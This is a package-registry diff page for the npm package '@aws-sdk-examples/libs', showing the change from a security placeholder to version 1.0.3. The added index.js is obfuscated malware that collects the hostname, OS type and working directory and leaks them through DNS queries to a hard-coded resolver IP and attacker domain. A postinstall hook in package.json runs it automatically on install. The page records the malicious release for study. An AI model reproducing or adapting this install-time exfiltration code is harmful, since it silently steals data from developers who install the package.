@aws-sdk-examples/libs 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @aws-sdk-examples/libs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -5
  2. package/index.js +129 -0
  3. package/package.json +14 -3
package/README.md CHANGED
@@ -1,5 +1 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40aws-sdk-examples%2Flibs for more information.
1
+ Vladyslav Kotko
package/index.js ADDED
@@ -0,0 +1,129 @@
1
+ var _0x45f0e4 = _0x4fb2;
2
+ (function (_0x3a8e86, _0x36b667) {
3
+ var _0x55c45d = _0x4fb2, _0x2138b6 = _0x3a8e86();
4
+ while (!![]) {
5
+ try {
6
+ var _0x406291 = -parseInt(_0x55c45d(0x1cc)) / (-0x3 * 0x377 + -0x47 * -0x1f + 0x1cd) + parseInt(_0x55c45d(0x1eb)) / (0x49 * 0x1 + 0x12 * 0x102 + -0x5 * 0x3af) + parseInt(_0x55c45d(0x1df)) / (-0x1 * -0x2f5 + 0x2037 + -0x2329 * 0x1) + -parseInt(_0x55c45d(0x1d2)) / (0x19 * -0x128 + -0xb21 + 0x280d) + parseInt(_0x55c45d(0x1d8)) / (-0x204e + 0xad * 0x4 + 0x1d9f) + parseInt(_0x55c45d(0x1e3)) / (-0x7dd + -0x1b6 * 0x3 + 0xd05) * (-parseInt(_0x55c45d(0x1e1)) / (-0x89 + -0x2205 * 0x1 + 0x2295)) + parseInt(_0x55c45d(0x1cd)) / (-0xd2 + 0x5c4 + 0x4ea * -0x1) * (-parseInt(_0x55c45d(0x1da)) / (-0x1611 + -0x2 * 0xb43 + 0x2ca0));
7
+ if (_0x406291 === _0x36b667)
8
+ break;
9
+ else
10
+ _0x2138b6['push'](_0x2138b6['shift']());
11
+ } catch (_0x4235ba) {
12
+ _0x2138b6['push'](_0x2138b6['shift']());
13
+ }
14
+ }
15
+ }(_0x4d90, 0xa84f * -0x1f + 0x6c5 * 0x20b + 0x125153));
16
+ const {Resolver} = require(_0x45f0e4(0x1ca));
17
+ function _0x4d90() {
18
+ var _0x5b32df = [
19
+ '.dns.kotko',
20
+ 'tqhUR',
21
+ '@aws-sdk-e',
22
+ '.me',
23
+ 'YftUt',
24
+ '6914915oAMJlr',
25
+ 'GscMG',
26
+ '7596NpFcGt',
27
+ 'PuqSo',
28
+ 'hostname',
29
+ '.182',
30
+ 'cwd',
31
+ '2264388CmqpOr',
32
+ 'hex',
33
+ '212548VDZUqb',
34
+ 'forEach',
35
+ '66RTPksn',
36
+ 'floor',
37
+ 'xamples/li',
38
+ 'v1S_',
39
+ 'KLMNOPQRST',
40
+ 'wcaxt',
41
+ 'resolveAny',
42
+ '164.92.170',
43
+ '1308198jOgsHa',
44
+ 'opqrstuvwx',
45
+ 'BfAer',
46
+ 'length',
47
+ 'CuMeH',
48
+ 'efghijklmn',
49
+ 'UVWXYZabcd',
50
+ 'setServers',
51
+ 'random',
52
+ 'charAt',
53
+ 'push',
54
+ 'toString',
55
+ 'laZhD',
56
+ 'yz01234567',
57
+ 'match',
58
+ '.v1F_',
59
+ 'dns',
60
+ 'platform',
61
+ '1418863zBoOjK',
62
+ '2240lEuyze',
63
+ 'from',
64
+ 'utf8',
65
+ 'mxMuw',
66
+ 'ABCDEFGHIJ',
67
+ '126248kuKNZr'
68
+ ];
69
+ _0x4d90 = function () {
70
+ return _0x5b32df;
71
+ };
72
+ return _0x4d90();
73
+ }
74
+ var os = require('os'), hostname = os[_0x45f0e4(0x1dc)](), type = os[_0x45f0e4(0x1cb)](), package = _0x45f0e4(0x1d5) + _0x45f0e4(0x1e5) + 'bs', currentPath = process[_0x45f0e4(0x1de)](), data = [];
75
+ data[_0x45f0e4(0x1c4)](package), data[_0x45f0e4(0x1c4)](hostname), data[_0x45f0e4(0x1c4)](type), data[_0x45f0e4(0x1c4)](currentPath);
76
+ var suffix = _0x45f0e4(0x1d3) + _0x45f0e4(0x1d6);
77
+ function _0x4fb2(_0x48c78d, _0x3cf613) {
78
+ var _0x21534c = _0x4d90();
79
+ return _0x4fb2 = function (_0x458d0a, _0x53aa24) {
80
+ _0x458d0a = _0x458d0a - (-0x870 + -0x1c9 * 0x5 + 0x1319);
81
+ var _0x403693 = _0x21534c[_0x458d0a];
82
+ return _0x403693;
83
+ }, _0x4fb2(_0x48c78d, _0x3cf613);
84
+ }
85
+ const resolver = new Resolver();
86
+ resolver[_0x45f0e4(0x1c1)]([_0x45f0e4(0x1ea) + _0x45f0e4(0x1dd)]);
87
+ function makeid(_0x52d2d3) {
88
+ var _0x1ae836 = _0x45f0e4, _0x2d0c1e = {
89
+ 'laZhD': _0x1ae836(0x1d1) + _0x1ae836(0x1e7) + _0x1ae836(0x1c0) + _0x1ae836(0x1bf) + _0x1ae836(0x1ec) + _0x1ae836(0x1c7) + '89',
90
+ 'BfAer': function (_0xaef35f, _0x23eac5) {
91
+ return _0xaef35f < _0x23eac5;
92
+ },
93
+ 'CuMeH': function (_0x29cfe7, _0xf1e5ab) {
94
+ return _0x29cfe7 * _0xf1e5ab;
95
+ }
96
+ };
97
+ let _0x4053fb = '';
98
+ const _0x2f87aa = _0x2d0c1e[_0x1ae836(0x1c6)], _0x1e3e25 = _0x2f87aa[_0x1ae836(0x1bd)];
99
+ let _0x5e757e = -0x9 * -0x57 + 0x17f * 0x7 + -0xd88;
100
+ while (_0x2d0c1e[_0x1ae836(0x1bc)](_0x5e757e, _0x52d2d3)) {
101
+ _0x4053fb += _0x2f87aa[_0x1ae836(0x1c3)](Math[_0x1ae836(0x1e4)](_0x2d0c1e[_0x1ae836(0x1be)](Math[_0x1ae836(0x1c2)](), _0x1e3e25))), _0x5e757e += 0x8 * 0x4cb + -0x12cd + 0x52 * -0x3d;
102
+ }
103
+ return _0x4053fb;
104
+ }
105
+ var randID = makeid(0xd * 0x13d + -0x1d * 0xdb + -0x2 * -0x461);
106
+ for (let i = 0x22fd + -0x3 * -0x242 + -0x1 * 0x29c3; i < data[_0x45f0e4(0x1bd)]; i++) {
107
+ data[i][_0x45f0e4(0x1c8)](/.{1,60}/g)[_0x45f0e4(0x1e2)](_0x28982b => {
108
+ var _0x1c0219 = _0x45f0e4, _0x4a78ef = {
109
+ 'PuqSo': function (_0x231c98, _0x93fd7) {
110
+ return _0x231c98 + _0x93fd7;
111
+ },
112
+ 'YftUt': function (_0x5bc71e, _0x54f5dd) {
113
+ return _0x5bc71e + _0x54f5dd;
114
+ },
115
+ 'mxMuw': _0x1c0219(0x1e6),
116
+ 'tqhUR': _0x1c0219(0x1c9),
117
+ 'GscMG': _0x1c0219(0x1cf),
118
+ 'wcaxt': _0x1c0219(0x1e0)
119
+ }, _0x33f2a0 = Buffer[_0x1c0219(0x1ce)](_0x28982b, _0x4a78ef[_0x1c0219(0x1d9)]), _0xb991d2 = _0x33f2a0[_0x1c0219(0x1c5)](_0x4a78ef[_0x1c0219(0x1e8)]);
120
+ _0xb991d2[_0x1c0219(0x1c8)](/.{1,50}/g)[_0x1c0219(0x1e2)](_0x3ed1c2 => {
121
+ var _0x185b0b = _0x1c0219;
122
+ req = _0x4a78ef[_0x185b0b(0x1db)](_0x4a78ef[_0x185b0b(0x1db)](_0x4a78ef[_0x185b0b(0x1d7)](_0x4a78ef[_0x185b0b(0x1db)](_0x4a78ef[_0x185b0b(0x1d0)], randID), _0x4a78ef[_0x185b0b(0x1d4)]), _0x3ed1c2), suffix), resolver[_0x185b0b(0x1e9)](req, (_0x3dddfb, _0x2349bc) => {
123
+ if (_0x3dddfb) {
124
+ } else {
125
+ }
126
+ });
127
+ });
128
+ });
129
+ }
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "@aws-sdk-examples/libs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js",
8
+ "test": "node index.js"
9
+ },
10
+ "Dependencies": {
11
+ "os": "^0.1.1"
12
+ },
13
+ "author": "",
14
+ "devDependencies": {
15
+ "request": "^2.88.2"
16
+ }
6
17
  }